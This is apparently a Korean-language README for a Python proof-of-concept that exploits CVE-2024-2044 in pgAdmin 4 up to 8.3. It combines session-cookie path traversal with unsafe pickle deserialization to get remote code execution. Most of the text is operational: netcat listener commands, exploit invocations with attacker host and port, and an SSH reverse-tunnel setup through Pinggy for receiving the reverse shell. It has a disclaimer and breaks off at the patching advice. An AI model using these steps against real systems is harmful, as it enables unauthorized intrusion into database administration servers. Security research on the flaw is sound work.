
pgAdmin 4(<=8.3)의 CVE-2024-2044를 악용하여 인증된 경로 트래버설과 안전하지 않은 pickle 역직렬화를 통해 원격 코드 실행 및 리버스 셸을 달성하는 Python PoC입니다.
이 저장소는 Linux/POSIX 환경에서 실행되는 pgAdmin 4 (8.3 이하 버전)의 인증된 경로 순회(Authenticated Path Traversal) 와 안전하지 않은 역직렬화(Unsafe Deserialization) 를 결합한 치명적인 취약점인 CVE-2024-2044에 대한 Proof of Concept (PoC) 스크립트를 포함하고 있습니다.
[!WARNING] 면책 조항: 이 코드는 교육, 보안 연구, 그리고 공식적인 침투 테스트(authorized pentesting) 목적으로만 작성되었습니다. 서면 허가 없이 대상을 공격하기 위해 이 코드를 악용하는 행위는 불법이며 법률을 위반합니다.
Linux 환경에서 서버 모드로 실행되는 pgAdmin 4에서는 세션 관리가 로컬 파일 형태로 저장됩니다. 이 취약점은 FileBackedSessionManager.get() 함수가 HTTP 쿠키 pga4_session의 값을 받아 os.path.join을 사용하여 디렉터리 경로에 결합할 때 경로 조작 문자(../)를 정제하지 않기 때문에 발생합니다.
이 PoC 스크립트는 다음과 같은 흐름으로 해당 취약점을 악용합니다:
pickle 객체를 업로드합니다. 이 파일은 사용자 저장 디렉터리(예: ) 아래에 저장됩니다./storage/사용자명/pga4_session 쿠키를 업로드된 pickle 파일로 향하는 상대 경로(예: ../storage/사용자명/file.pickle!)로 조작하여 /login으로 HTTP 요청을 다시 전송합니다. ! 기호는 pgAdmin 4의 세션 파일 확장자 검색에 맞추기 위해 사용됩니다.pickle.loads()로 처리하도록 속습니다. 결과적으로 페이로드는 공격자에게 Reverse Shell을 전송하는 별도의(detached) Python 프로세스를 실행합니다.requests 라이브러리.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
머신이 NAT/라우터 뒤에 있어 공용 tunnelling이 필요한 경우, 다음 단계에 따라 Pinggy.io 서비스를 사용할 수 있습니다:
원하는 포트(예: 포트 1337)를 사용하여 로컬 머신에서 nc를 먼저 실행합니다:
nc -lvnp 1337
새 터미널을 열고 Pinggy SSH 명령을 실행합니다. 끝부분의 로컬 포트(1337)가 이전에 실행한 nc 포트와 일치하는지 확인하세요:
ssh -p 443 -R0:localhost:1337 [email protected]
연결되면 Pinggy는 공용 TCP URL을 제공합니다. 예를 들어:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

참고: Pinggy에서 얻은 공용 포트는 43143입니다 (이것이 나중에 -lport가 됩니다).
대상 pgAdmin 4 서버는 reverse shell 소켓 연결을 위해 실제 IP 주소 형식이 필요합니다. Pinggy URL의 도메인에 대해 nslookup을 수행합니다:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
출력은 Pinggy 서버의 공용 IP를 표시합니다 (맨 위 Address 부분의 IPv4를 선택):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
위 출력에서 Pinggy의 실제 IP를 얻었습니다: 172.236.148.125.

nslookup 결과 IP를 -lhost로, Pinggy 공용 포트를 -lport로 입력하여 PoC 스크립트를 실행합니다:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : pgAdmin 4 대상 URL (필수).-u, --username: 로그인 이메일/사용자 이름 (기본값: [email protected]).-p, --password: 로그인 비밀번호 (기본값: player123).-lhost : 공격자 IP 주소 / Pinggy nslookup 결과 IP (필수).-lport : 공격자 리스너 포트 / Pinggy 공용 포트 (필수).이 취약점은 pgAdmin 4 버전 8.4에서 수정되었습니다. 취약한 서버를 관리하고 있다면 즉시 다음 조치를 취하세요: